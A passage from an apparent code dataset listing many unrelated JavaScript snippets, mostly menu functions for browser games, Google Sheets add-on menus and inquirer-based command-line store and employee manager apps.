desk.toggleFan(4, 35, 10, true);\\n for (var counter = 0; counter < desk.cards.length; counter++)\\n {\\n if (state.isWin)\\n {\\n desk.cards[counter].turn(true);\\n desk.cards[counter].dataset.turned = true;\\n }\\n else if (desk.cards[counter].dataset.turned == true)\\n {\\n desk.cards[counter].turn(true);\\n }\\n }\\n state.isWin = false;\\n }\\n\\n /**\\n * Shows menu elements\\n */\\n function showMenu()\\n {\\n if (state.screen == \\\"GAME\\\")\\n {\\n cards[0].removeEventListener(\\\"move\\\", showMenuId);\\n DOM.pause.deskContainer.style.opacity = 1;\\n DOM.cardsContainer.classList.add(CSS.hidden);\\n }\\n\\n if (state.isWin)\\n {\\n DOM.pause.deskContainer.style.opacity = 0;\\n DOM.pause.headline.innerHTML = (state.score >= 0 ? \\\"Победа со счётом: \\\" : \\\"Потрачено: \\\") + state.score;\\n DOM.pause.options.continue.disabled = true;\\n state.score = 0;\\n }\\n else\\n {\\n DOM.pause.headline.innerHTML = \\\"MEMORY GAME\\\";\\n }\\n\\n DOM.container.classList.remove(CSS.container.game);\\n DOM.container.classList.add(CSS.container.pause);\\n state.screen = \\\"MENU\\\";\\n\\n toggleHideElements(\\n [DOM.pause.options.continue, DOM.pause.options.newGame, DOM.pause.headline],\\n animation.duration.hide,\\n false,\\n openFan.bind(this)\\n );\\n }\\n\\n /**\\n * Hides a game field\\n */\\n function hideGameField(follower)\\n {\\n toggleHideElements([DOM.game.score, DOM.game.pauseButton], animation.duration.hide, true, follower);\\n }\\n\\n /**\\n * Moves cards from the field to the desk\\n */\\n function takeCards()\\n {\\n if (state.turnedCard)\\n {\\n state.turnedCard.turn(true);\\n }\\n\\n showMenuId = cards[0].addEventListener(\\\"move\\\", showMenu);\\n\\n for (var counter = 0; counter < cards.length; counter++)\\n {\\n cards[counter].move(DOM.cardsContainer, {width: sizes.desk.width + \\\"PX\\\", height: sizes.desk.height + \\\"PX\\\"}, true);\\n }\\n }\\n\\n state.cardsTurnable = false;\\n if (state.screen == \\\"GAME\\\")\\n {\\n var showMenuId;\\n hideGameField();\\n takeCards();\\n }\\n else\\n {\\n hideGameField(showMenu.bind(this));\\n }\\n }\",\n \"function onOpen() {\\n \\n SpreadsheetApp.getUi().createMenu('Merchant Center')\\n .addItem('Run Now', 'main')\\n .addToUi()\\n }\",\n \"function onOpen() { CUSTOM_MENU.add(); }\",\n \"getMenu() {alert(\\\"entering grocery.js getMenu()\\\")\\n\\t\\t// Assemble the menu list (meal nodes)\\n\\t\\tthis.menuCloset.destructBoxes()\\n\\t\\tlet mealNodes = graph.getNodesByID_partial(\\\"meal\\\", \\\"\\\")\\n\\t\\tfor (let meal of mealNodes) {\\n\\t\\t\\tif (meal.inMenu) { // i don't think we need to keep track of what's on the menu by using inMenu anymore. I think we can just use groceryListArea.menuCloset.boxes to see what's on the menu. This is the next thing to take a look at and understand better. (todo)\\n\\t\\t\\t\\tthis.menuCloset.add(meal)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tthis.updateGroceryList()\\n\\t}\",\n \"function gotoMenu(){\\n x = 200;\\n dx = 1;\\n y = 200;\\n dy = 1;\\n fuel = 5000;\\n landed = false;\\n crashed = false;\\n fuelout = false;\\n gameTimer = 0;\\n canvas_x=0;\\t\\n gamestart = false;\\n levelselect = true;\\n bonus = 0;\\n score = 0;\\n}\",\n \"start() {\\r\\n //Below are methods that dont exist YET and to build out our menu; what we think it will look like and then we are going to implement \\r\\n //those methods this is referred to as the top-down development approach. Where we start from the top then implement those methods.\\r\\n //this.showMainMenuOptions(method) will return the selection that the user gives us \\r\\n let selection = this.showMainMenuOptions();\\r\\n //selection is a variable we're gonna use to get user input of what option out menu has the user selected. We will use 0=exit and do \\r\\n //something based off of it, so below is a switch. \\r\\n while (selection != 0) {\\r\\n switch (selection) {\\r\\n case \\\"1\\\":\\r\\n //reminder that these are sort of placeholders that will be implemented later according to the top down development approach\\r\\n this.createAllignmentGroup();\\r\\n break;\\r\\n case \\\"2\\\":\\r\\n this.viewAllignmentGroup();\\r\\n break;\\r\\n case \\\"3\\\":\\r\\n this.deleteAllignmentGroup();\\r\\n break;\\r\\n case \\\"4\\\":\\r\\n this.displayAllignmentGroup();\\r\\n break;\\r\\n default:\\r\\n selection = 0;\\r\\n }\\r\\n //outside of our switch here we get the selection like at the beginning to ensure the loop keeps looping as long as we do not select 0 \\r\\n //or select 1-4\\r\\n //So this is basically the flow of our application, we are going to prompt/show the menu options the user is going to select something\\r\\n //we're going to say as long as 0 isnt selected we are going to continue with our determination of what they did select and based on \\r\\n //what they selected it will show the cases above. \\r\\n selection = this.showMainMenuOptions();\\r\\n }\\r\\n alert(\\\"Farewell!\\\");\\r\\n }\",\n \"function onOpen() {\\n SpreadsheetApp.getUi().createMenu('Equipment requests')\\n .addItem('Set up', 'setup_')\\n .addItem('Clean up', 'cleanup_')\\n .addToUi();\\n}\",\n \"function initMenu(){\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"clear\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"properties\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"help\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"rename\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"expand\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"fold\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"---\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"duplicate\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"delete\\\");\\n\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 0, myNodeEnableProperties);\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 1, myNodeEnableHelp);\\n outlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 3, myNodeEnableBody);\\t\\t\\n outlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 4, myNodeEnableBody);\\t\\t\\n}\",\n \"function menu() {\\n this.meal1 = \\\"Ham and Cheese Sandwich\\\",\\n this.meal2 = \\\"Roastbeef Sandwich\\\"\\n }\",\n \"function start() {\\n\\n inquirer.prompt({\\n name: \\\"menu\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"Delete Product\\\",\\n \\\"EXIT\\\"\\n ]\\n }).then(function(answer) {\\n switch (answer.menu) {\\n case \\\"View Products for Sale\\\":\\n productsForSale();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addInventory();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addProduct();\\n break;\\n\\n case \\\"Delete Product\\\":\\n deleteProduct();\\n break;\\n\\n case \\\"EXIT\\\":\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function showMenu(fast) {\\n\\t\\t\\t\\tif ((smallBreakpoint && !opt.everySizes) || opt.everySizes) {\\n\\t\\t\\t\\t\\tmenuOpen = true;\\n\\t\\t\\t\\t\\t$html.addClass('extra-menu-open');\\n\\t\\t\\t\\t\\t$html.removeClass('extra-menu-close');\\n\\t\\t\\t\\t\\tif (fast) {\\n\\t\\t\\t\\t\\t\\ttimeline.totalProgress(1);\\n\\t\\t\\t\\t\\t\\t$window.trigger('extra:menu:ShowComplete');\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\ttimeline.play();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\thideMenu(true);\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"function showMainMenu(){\\n addTemplate(\\\"menuTemplate\\\");\\n showMenu();\\n}\",\n \"function mainMenu() {\\n INQUIRER.prompt([{\\n name: 'next',\\n type: 'list',\\n message: 'Welcome',\\n choices: [\\n 'View All Products',\\n `View Low Inventory`,\\n 'Add to Inventory',\\n 'Add New Product',\\n 'Exit'\\n ]\\n }]).then(function(input) {\\n\\n switch (input.next) {\\n case 'View All Products':\\n displayAll();\\n break;\\n\\n case 'View Low Inventory':\\n displayLow();\\n break;\\n\\n case 'Add to Inventory':\\n addToInventory();\\n\\n case 'Exit':\\n connection.end();\\n break;\\n\\n //add product\\n default:\\n addNewProduct();\\n break;\\n }\\n });\\n}\",\n \"function StartFishing() {\\n\\n DebugStart()\\n // How far to look for trees from the player\\n var range = 16;\\n AutoFisherman(range);\\n}\",\n \"expandMenu() {\\r\\n\\t}\",\n \"function mainMenu(){\\n\\tinquirer.prompt([{\\n\\t\\ttype: \\\"list\\\",\\n\\t\\tname: \\\"introAction\\\",\\n\\t\\tmessage: \\\"Welcome, pick an action: \\\",\\n\\t\\tchoices: [\\\"Create a Basic Card\\\", \\\"Create a Cloze Card\\\", \\\"Review Existing Cards\\\"]\\n\\t}]).then(function(answers){\\n\\t\\tswitch (answers.introAction) {\\n\\t\\t\\tcase \\\"Create a Basic Card\\\":\\n\\t\\t\\t\\tcreateBasicCard();\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase \\\"Create a Cloze Card\\\":\\n\\t\\t\\t\\tcreateClozeCard();\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase \\\"Review Existing Cards\\\":\\n\\t\\t\\t\\treviewCards();\\n\\t\\t\\t\\tbreak;\\n\\t\\t}\\n\\t});\\n}\",\n \"function goToMenu() {\\n stopTTS();\\n cStatus = undefined;\\n cStatus = new CurrentStatus();\\n $('#quiz').hide('slow');\\n $('#game').hide('slow');\\n $('#menu').show('slow');\\n}\",\n \"setupMenu () {\\n let dy = 17;\\n // create buttons for the action categories\\n this.menu.createButton(24, 0, () => this.selectionMode = 'info', this, null, 'info');\\n this.menu.createButton(41, 0, () => this.selectionMode = 'job', this, null, 'job');\\n // create buttons for each command\\n for (let key of Object.keys(this.jobCommands)) {\\n let button = this.menu.createButton(0, dy, () => this.jobCommand = key, this, this.jobCommands[key].name);\\n dy += button.height + 1;\\n }\\n // set the hit area for the menu\\n this.menu.calculateHitArea();\\n // menu is closed by default\\n this.menu.hideMenu();\\n }\",\n \"prepare() { this.createTopMenu(); this.createQuickMenu(); this.showQuickMenu(); }\",\n \"function onOpen() {\\n SpreadsheetApp.getUi()\\n .createMenu('Great Explorations')\\n .addItem('Match Girls to Workshops', 'matchGirls')\\n .addToUi();\\n}\",\n \"function menu() {\\n document.getElementById(\\\"menuStart\\\").classList.toggle(\\\"show\\\");\\n}\",\n \"function C999_Common_Achievements_MainMenu() {\\n C999_Common_Achievements_ResetImage();\\n\\tSetScene(\\\"C000_Intro\\\", \\\"ChapterSelect\\\");\\n}\",\n \"function start(action) {\\r\\n\\t\\r\\n\\t\\tswitch (action) {\\r\\n\\t\\t\\tcase 'go look':\\r\\n\\t\\t\\t\\ttextDialogue(narrator, \\\"Narocube: What are you going to look at??\\\", 1000);\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\t\\tcase 'explore':\\r\\n\\t\\t\\t\\texploreship(gameobj.explore);\\r\\n\\t\\t\\t\\tgameobj.explore++;\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\t\\tcase 'sit tight':\\r\\n\\t\\t\\t\\ttextDialogue(narrator, \\\"Narocube: Good choice we should probably wait for John to get back.\\\", 1000);\\r\\n\\t\\t\\t\\tgameobj.sittight++;\\r\\n\\t\\t\\tbreak;\\t\\r\\n\\t\\t}\\r\\n}\",\n \"function menu() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"Supervisor's Menu Options:\\\",\\n choices: [\\\"View Product Sales By Department\\\", \\\"Create New Department\\\", \\\"Exit\\\"]\\n }\\n ]).then(function (answers) {\\n if (answers.choice === \\\"View Product Sales By Department\\\") {\\n displaySales();\\n }\\n else if (answers.choice === \\\"Create New Department\\\") {\\n createDepartment();\\n }\\n else {\\n connection.end();\\n }\\n });\\n}\",\n \"function menu() {\\n\\t\\n // Title of Game\\n title = new createjs.Text(\\\"Poker Room\\\", \\\"50px Bembo\\\", \\\"#FF0000\\\");\\n title.x = width/3.1;\\n title.y = height/4;\\n\\n // Subtitle of Game\\n subtitle = new createjs.Text(\\\"Let's Play Poker\\\", \\\"30px Bembo\\\", \\\"#FF0000\\\");\\n subtitle.x = width/2.8;\\n subtitle.y = height/2.8;\\n\\n // Creating Buttons for Game\\n addToMenu(title);\\n addToMenu(subtitle);\\n startButton();\\n howToPlayButton();\\n\\n // update to show title and subtitle\\n stage.update();\\n}\",\n \"function init() {\\n console.log('Welcome to your company employee manager.')\\n menu()\\n}\",\n \"startGame() {\\n this.scene.start('MenuScene');\\n }\",\n \"function showMenu() {\\n rectMode(CENTER);\\n fill(colorList[2]);\\n rect(buttonX, buttonY, buttonWidth, buttonHeight);\\n \\n textAlign(CENTER, CENTER);\\n fill(colorList[5]);\\n text(\\\"How to Play\\\", buttonX, buttonY);\\n\\n fill(colorList[3]);\\n rect(buttonX, secondButtonYpos, buttonWidth, buttonHeight);\\n \\n textAlign(CENTER, CENTER);\\n fill(colorList[4]);\\n text(\\\"Dancing Block\\\", buttonX, secondButtonYpos);\\n \\n}\",\n \"function start() {\\n inquirer\\n .prompt([{\\n type: \\\"list\\\",\\n name: \\\"menu\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"View Products for sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\"\\n ]\\n }\\n\\n ])\\n .then(function (answers) {\\n if (answers.menu === \\\"View Products for sale\\\") {\\n return viewProducts();\\n } else if (answers.menu === \\\"View Low Inventory\\\") {\\n return lowInventory();\\n } else if (answers.menu === \\\"Add to Inventory\\\") {\\n return addInventory();\\n } else if (answers.menu === \\\"Add New Product\\\") {\\n return addProduct();\\n }\\n });\\n}\",\n \"function menu(){\\n inquirer.prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"exit\\\"\\n ]\\n }).then(function(answer){\\n switch(answer.action){\\n case \\\"View Products for Sale\\\":\\n products();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addToInventory();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addProduct();\\n break;\\n\\n case \\\"exit\\\":\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function onOpen() {\\n var menu = [\\n { name: \\\"Fill all items list\\\", functionName: \\\"fillAllItemsData\\\" },\\n null,\\n { name: \\\"Schedule run task every hour\\\", functionName: \\\"configureRun\\\"},\\n { name: \\\"Remove schedule\\\", functionName: \\\"configureStop\\\"},\\n ];\\n \\n SpreadsheetApp.getActiveSpreadsheet().addMenu(\\\"➪ Tarkov-Market\\\", menu);\\n}\",\n \"function start() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"Purchase Items\\\", \\n \\\"Exit\\\"],\\n }\\n ]).then(function(answer) {\\n\\n // Based on the selection, the user experience will be routed in one of these directions\\n switch (answer.choice) {\\n case \\\"Purchase Items\\\":\\n displayItems();\\n break;\\n case \\\"Exit\\\":\\n exit();\\n break;\\n }\\n });\\n} // End start function\",\n \"function initSuperFish(){\\r\\n\\t\\t\\r\\n\\t\\t$(\\\".sf-menu\\\").superfish({\\r\\n\\t\\t\\t delay: 50,\\r\\n\\t\\t\\t autoArrows: true,\\r\\n\\t\\t\\t animation: {opacity:'show'}\\r\\n\\t\\t\\t //cssArrows: true\\r\\n\\t\\t});\\r\\n\\t\\t\\r\\n\\t\\t// Replace SuperFish CSS Arrows to Font Awesome Icons\\r\\n\\t\\t$('nav > ul.sf-menu > li').each(function(){\\r\\n\\t\\t\\t$(this).find('.sf-with-ul').append('');\\r\\n\\t\\t});\\r\\n\\t}\",\n \"function init_dash() {\\n dropDown();\\n}\",\n \"doReStart() {\\n // Stoppe la musique d'intro\\n this.musicIntro.stop();\\n // Lance la scene de menus\\n this.scene.start('MenuScene');\\n }\",\n \"function mainMenu() {\\n\\n inquirer\\n .prompt({\\n type: \\\"list\\\",\\n name: \\\"task\\\",\\n message: \\\"Plz, select your entry ?\\\",\\n choices: [\\n \\\"View Employees\\\",\\n \\\"View Departments\\\",\\n \\\"View Roles\\\",\\n \\\"Add Employees\\\",\\n \\\"Update EmployeeRole\\\",\\n \\\"Add Role\\\",\\n \\\"Exit\\\"]\\n })\\n .then(function ({ task }) {\\n switch (task) {\\n case \\\"View Employees\\\":\\n viewEmployee();\\n break;\\n case \\\"View Departments\\\":\\n viewDepartmnt();\\n break;\\n case \\\"View Roles\\\":\\n viewRole();\\n break;\\n case \\\"Add Employees\\\":\\n addEmployee();\\n break;\\n case \\\"Update EmployeeRole\\\":\\n updateEmployeeRole();\\n break;\\n case \\\"Add Role\\\":\\n addRole();\\n break;\\n case \\\"Exit\\\":\\n connection.end();\\n break;\\n \\n }\\n });\\n}\",\n \"function openMenu() {\\n g_IsMenuOpen = true;\\n}\",\n \"function start() {\\n inquirer.prompt([{\\n name: \\\"entrance\\\",\\n message: \\\"Would you like to shop with us today?\\\",\\n type: \\\"list\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n }]).then(function(answer) {\\n // if yes, proceed to shop menu\\n if (answer.entrance === \\\"Yes\\\") {\\n menu();\\n } else {\\n // if no, end node cli \\n console.log(\\\"---------------------------------------\\\");\\n console.log(\\\"No?!?!?! What do you mean no!?!?!?!?!?\\\");\\n console.log(\\\"---------------------------------------\\\");\\n connection.destroy();\\n return;\\n }\\n });\\n}\",\n \"function runSupervisorMenu() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n message: \\\"Please select from menu: \\\".magenta.italic.bold,\\n name: \\\"menu\\\",\\n choices: [\\\"View Product Sales By Department\\\", \\\"Create New Department\\\", \\\"View All Users\\\", \\\"Create User\\\", \\\"Exit\\\"]\\n }\\n ]).then(function (inquirerResponse) {\\n switch (inquirerResponse.menu) {\\n case \\\"View Product Sales By Department\\\":\\n viewDepartmentSales();\\n break;\\n case \\\"Create New Department\\\":\\n addDepartment();\\n break;\\n case \\\"View All Users\\\":\\n viewAllUsers();\\n break;\\n case \\\"Create User\\\":\\n addUser();\\n break;\\n case \\\"Exit\\\":\\n process.exit();\\n break;\\n }\\n });\\n}\",\n \"function gameMenutoMainMenu() {\\n if (store.getState().lastAction == MENU_CHANGE && store.getState().previousPage == 'GAME_MENU' && store.getState().currentPage == 'MAIN_MENU') {\\n mainSfxController(preloaderSfxSource);\\n preloaderStarter();\\n\\n setTimeout(function(){\\n gameMenu.classList.add('pagehide');\\n mainMenu.classList.remove('pagehide');\\n gameMenuStartableid.classList.remove('game-menu-startable');\\n gameMenuBattlepointer1id.classList.remove('game-menu-battlepointer');\\n if (store.getState().activeGameState.isMap1Completed != true) {\\n gameMenuStarthereTextid.classList.add('nodisplay');\\n }\\n }, 600);\\n\\n setTimeout(function(){\\n mainMenuCreditsButtonid.classList.remove('nodisplay');\\n mainMenuStartButtonid.classList.remove('nodisplay');\\n }, 1400);\\n\\n mainMenuPlayonmobileButtonid.classList.add('main-menu-playonmobile-button');\\n\\n loadSavedMenuid.classList.remove('load-saved-menu');\\n loadSavedMenuid.classList.add('load-saved-menu-reverse');\\n mainMenuArmorgamesImageid.classList.add('main-menu-armorgames-image');\\n mainMenuIronhideImageid.classList.add('main-menu-ironhide-image');\\n mainMenuStartImageid.classList.add('main-menu-start-image');\\n mainMenuCreditsImageid.classList.add('main-menu-credits-image');\\n }\\n }\",\n \"function menu() {\\n inquirer\\n .prompt({\\n name: \\\"menuOptions\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"View Products\\\", \\\"View Low Inventory\\\", \\\"Add Inventory\\\", \\\"Add New Product\\\"]\\n })\\n .then(function(answer) {\\n // based on their answer, run appropriate function\\n if (answer.menuOptions === \\\"View Products\\\") {\\n viewProducts();\\n }\\n else if (answer.menuOptions === \\\"View Low Inventory\\\") {\\n viewLowInventory();\\n }\\n else if (answer.menuOptions === \\\"Add Inventory\\\") {\\n addInventory();\\n }\\n else if (answer.menuOptions === \\\"Add New Product\\\") {\\n addNewProduct();\\n }\\n else {\\n connection.end();\\n }\\n });\\n}\",\n \"function Menu() {\\n\\t\\n\\tPhaser.State.call(this);\\n\\t\\n}\",\n \"function menuGame(){\\n startScene.visible = true;\\n helpScene.visible = false;\\n gameOverScene.visible = false;\\n gameScene.visible = false;\\n}\",\n \"function showMenu() {\\n if(newGame) {\\n $('#main').show();\\n }\\n else {\\n $('#end').show();\\n }\\n}\",\n \"function toMenu() {\\n\\tclearScreen();\\n\\tviewPlayScreen();\\n}\",\n \"startMainMenu()\\n {\\n // We check if the player is on mobile and open fullscreen\\n let os = theGame.device.os;\\n if(os.android || os.iOS || os.iPad || os.iPhone || os.windowsPhone)\\n {\\n openFullScreen();\\n }\\n \\n let gameCredits;\\n let goat = currentScene.add.image(-100, topBackgroundYOrigin+35, 'GoatMenu');\\n let fondo2 = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'Fondo2');\\n fondo2.visible = false;\\n let logo = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'Logo');\\n //logo.visible = false;\\n \\n // Start Btn\\n let startBtn = currentScene.add.image(topBackgroundXOrigin-40, topBackgroundYOrigin+125, 'StartBtn');\\n let startHigh = currentScene.add.image(topBackgroundXOrigin-40, topBackgroundYOrigin+125, 'StartHigh');\\n startBtn.setInteractive();\\n startBtn.on('pointerover', ()=> this.onMenuBtnInteracted(startHigh, true));\\n startBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(startHigh, true));\\n startBtn.on('pointerup', ()=> this.onMenuBtnInteracted(startHigh, false));\\n startBtn.on('pointerout', ()=> this.onMenuBtnInteracted(startHigh, false));\\n startBtn.on('pointerup', ()=> interacionManager.interactMenu(\\\"Start\\\"));\\n\\n startBtn.visible = false;\\n startHigh.visible = false;\\n\\n // Continue Btn\\n let continueBtn = currentScene.add.image(topBackgroundXOrigin-186, topBackgroundYOrigin+128, 'ContinueBtn');\\n let continueHigh = currentScene.add.image(topBackgroundXOrigin-186, topBackgroundYOrigin+128, 'ContinueHigh');\\n continueBtn.setInteractive();\\n continueBtn.on('pointerover', ()=> this.onMenuBtnInteracted(continueHigh, true));\\n continueBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(continueHigh, true));\\n continueBtn.on('pointerup', ()=> this.onMenuBtnInteracted(continueHigh, false));\\n continueBtn.on('pointerout', ()=> this.onMenuBtnInteracted(continueHigh, false));\\n continueBtn.on('pointerup', ()=> interacionManager.interactMenu(\\\"Continue\\\"));\\n\\n continueBtn.visible = false;\\n continueHigh.visible = false;\\n\\n // Credits Btn\\n let creditsBtn = currentScene.add.image(topBackgroundXOrigin-308, topBackgroundYOrigin+128, 'CreditsBtn');\\n let creditsHigh = currentScene.add.image(topBackgroundXOrigin-308, topBackgroundYOrigin+128, 'CreditsHigh');\\n creditsBtn.setInteractive();\\n creditsBtn.on('pointerover', ()=> this.onMenuBtnInteracted(creditsHigh, true));\\n creditsBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(creditsHigh, true));\\n creditsBtn.on('pointerup', ()=> this.onMenuBtnInteracted(creditsHigh, false));\\n creditsBtn.on('pointerout', ()=> this.onMenuBtnInteracted(creditsHigh, false));\\n creditsBtn.on('pointerup', ()=> enableCredits(this.gameCredits, true));\\n\\n creditsBtn.visible = false;\\n creditsHigh.visible = false;\\n\\n // Mute Btn\\n let muteBtn = currentScene.add.image(topBackgroundXOrigin-395, topBackgroundYOrigin+128, 'MenuMuteBtn');\\n let muteHigh = currentScene.add.image(topBackgroundXOrigin-395.9, topBackgroundYOrigin+128, 'MenuMuteHigh');\\n muteBtn.setInteractive();\\n muteBtn.on('pointerover', ()=> this.onMenuBtnInteracted(muteHigh, true));\\n muteBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(muteHigh, true));\\n muteBtn.on('pointerup', ()=> this.onMenuBtnInteracted(muteHigh, false));\\n muteBtn.on('pointerout', ()=> this.onMenuBtnInteracted(muteHigh, false));\\n muteBtn.on('pointerup', ()=> interacionManager.interactMenu(\\\"Mute\\\"));\\n\\n muteBtn.visible = false;\\n muteHigh.visible = false;\\n\\n let timeline = currentScene.tweens.createTimeline();\\n\\n timeline.add(\\n {\\n targets: goat,\\n x: topBackgroundXOrigin + 175,\\n duration: 900\\n }\\n );\\n\\n timeline.add( \\n {\\n targets: fondo2,\\n onStart: function()\\n {\\n fondo2.visible = true;\\n let timedEvent = currentScene.time.delayedCall(1300, function()\\n {\\n musicManager.playThemeSong('Main');\\n startBtn.visible = true;\\n continueBtn.visible = true;\\n creditsBtn.visible = true;\\n muteBtn.visible = true;\\n\\n } , currentScene);\\n } \\n } \\n );\\n timeline.play(); \\n this.gameCredits = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'GameCredits');\\n this.gameCredits.setInteractive();\\n this.gameCredits.on('pointerdown', ()=> enableCredits(this.gameCredits, false));\\n this.gameCredits.visible = false;\\n }\",\n \"function onOpen(e) {\\n var menu = SpreadsheetApp.getUi()\\n .createMenu('Flights')\\n .addItem('Check Flights', 'getFlights'); \\n \\n menu.addToUi();\\n}\",\n \"function app(){\\n mainMenu();\\n}\",\n \"showMenu() {\\n this._game = null;\\n this.stopRefresh();\\n this._view.renderMenu();\\n this._view.bindStartGame(this.startGame.bind(this));\\n this._view.bindShowScores(this.showScores.bind(this));\\n }\",\n \"function onOpen() {\\n var ui = DocumentApp.getUi();\\n ui.createMenu('Script menu')\\n .addItem('Setup', 'setup')\\n .addItem('Create Events First Time', 'createDocForEvents')\\n .addToUi();\\n}\",\n \"function preMenutoMainMenu() {\\n if (store.getState().lastAction == MENU_CHANGE && store.getState().previousPage == 'PRE_MENU' && store.getState().currentPage == 'MAIN_MENU') {\\n mainSfxController(preloaderSfxSource);\\n preloaderStarter();\\n loadSavedMenuGameslotDisplayHandler();\\n\\n setTimeout(function(){\\n preMenu.classList.add('pagehide');\\n mainMenu.classList.remove('pagehide');\\n }, 600);\\n\\n mainMenuPlayonmobileButtonid.classList.add('main-menu-playonmobile-button');\\n mainMenuArmorgamesImageid.classList.add('main-menu-armorgames-image');\\n mainMenuIronhideImageid.classList.add('main-menu-ironhide-image');\\n mainMenuStartImageid.classList.add('main-menu-start-image');\\n mainMenuCreditsImageid.classList.add('main-menu-credits-image');\\n }\\n }\",\n \"function frontPage() {\\n console.log(\\\"Welcome to Reddit! the front page of the internet\\\");\\n fpMenu();\\n\\n\\n}\",\n \"function playbutton(){\\n document.querySelector('#startMenu').style.display = \\\"none\\\";\\n bg_call();\\n }\",\n \"start() {\\n super.start(this.game.menuOptions);\\n this.game.display.draw(0, 0, 'a');\\n this.game.display.draw(0, 1, 'b');\\n this.game.display.draw(0, 2, 'c');\\n this.game.display.draw(0, 3, 'd');\\n this.game.display.draw(0, 4, 'e');\\n this.game.display.draw(0, 5, ['f', '➧']);\\n this.game.display.draw(0, 6, 'g');\\n this.game.display.draw(0, 7, 'h');\\n this.game.display.draw(0, 8, 'i');\\n this.game.display.draw(1, 0, 'j');\\n this.game.display.draw(1, 1, 'k');\\n this.game.display.draw(1, 2, 'l');\\n this.game.display.draw(1, 3, 'm');\\n this.game.display.draw(1, 4, 'n');\\n this.game.display.draw(1, 5, 'o');\\n this.game.display.draw(1, 6, 'p');\\n this.game.display.draw(1, 7, 'q');\\n this.game.display.draw(1, 8, this.game.music.muted ? ['r', '♩'] : 'r');\\n this.selected = 0;\\n }\",\n \"function menu() {\\n inquirer.prompt([\\n {\\n name: \\\"menu\\\",\\n message: \\\"Menu:\\\",\\n type: \\\"list\\\",\\n choices: [\\\"Products for Sale\\\", \\\"Low Inventory\\\", \\\"Add to Inventory\\\", \\\"New Product\\\", \\\"Exit\\\"],\\n }]).then(function (answer) {\\n\\n // depending on the option picked for the chosen call the correct function\\n switch (answer.menu) {\\n case \\\"Products for Sale\\\": {\\n showInventory();\\n break;\\n }\\n case \\\"Low Inventory\\\": {\\n lowerInventory();\\n break;\\n }\\n case \\\"Add to Inventory\\\": {\\n addInventory();\\n \\n break;\\n }\\n case \\\"New Product\\\": {\\n addNewProduct();\\n break;\\n }\\n case \\\"Exit\\\": {\\n connection.end();\\n break;\\n }\\n }\\n\\n });\\n}\",\n \"function menuzordActive () {\\n if ($(\\\"#menuzord\\\").length) {\\n $(\\\"#menuzord\\\").menuzord({\\n indicatorFirstLevel: ''\\n });\\n };\\n}\",\n \"function createMainMenu(game) {\\n // Fade in transition\\n fadeSceneIn(game, 1000, \\\"Linear\\\");\\n\\n // Background\\n game.add.image(0, 0, 'menu-bg').setOrigin(0, 0);\\n\\n // Game version\\n var verStyle = { font: \\\"14px Optima\\\", fill: \\\"#fff\\\" };\\n var versionText = game.add.text(2, 626, \\\"v\\\" + version(), verStyle).setOrigin(0, 1);\\n versionText.setShadow(2, 2, \\\"#000\\\", 2);\\n versionText.alpha = 0.3;\\n\\n // Title Text\\n var titleStyle = { font: \\\"100px FrizQuadrata\\\", fill: \\\"#000\\\", stroke: \\\"#fff\\\", strokeThickness: 